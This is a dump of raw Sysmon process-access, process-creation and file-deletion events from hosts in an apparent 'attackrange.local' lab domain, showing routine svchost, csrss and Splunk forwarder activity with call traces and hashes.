10341000x800000000000000047864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:34.908{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.426{625C326B-716E-613B-D704-00000000F101}31363668C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716E-613B-D704-00000000F101}3136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-716E-613B-D704-00000000F101}3136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716E-613B-D704-00000000F101}3136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:34.128{625C326B-716E-613B-D704-00000000F101}3136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:35.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D487E3D3EE99A86881AABE039EF23DC,SHA256=DB06095CF2243525E7DCA5E6A53B548FE7EBCFBAC1BC123233C44437BC27426E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:35.987{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:35.987{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015540Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716F-613B-D904-00000000F101}3896C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015539Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015538Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015537Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015536Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015535Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015534Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-716F-613B-D904-00000000F101}3896C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 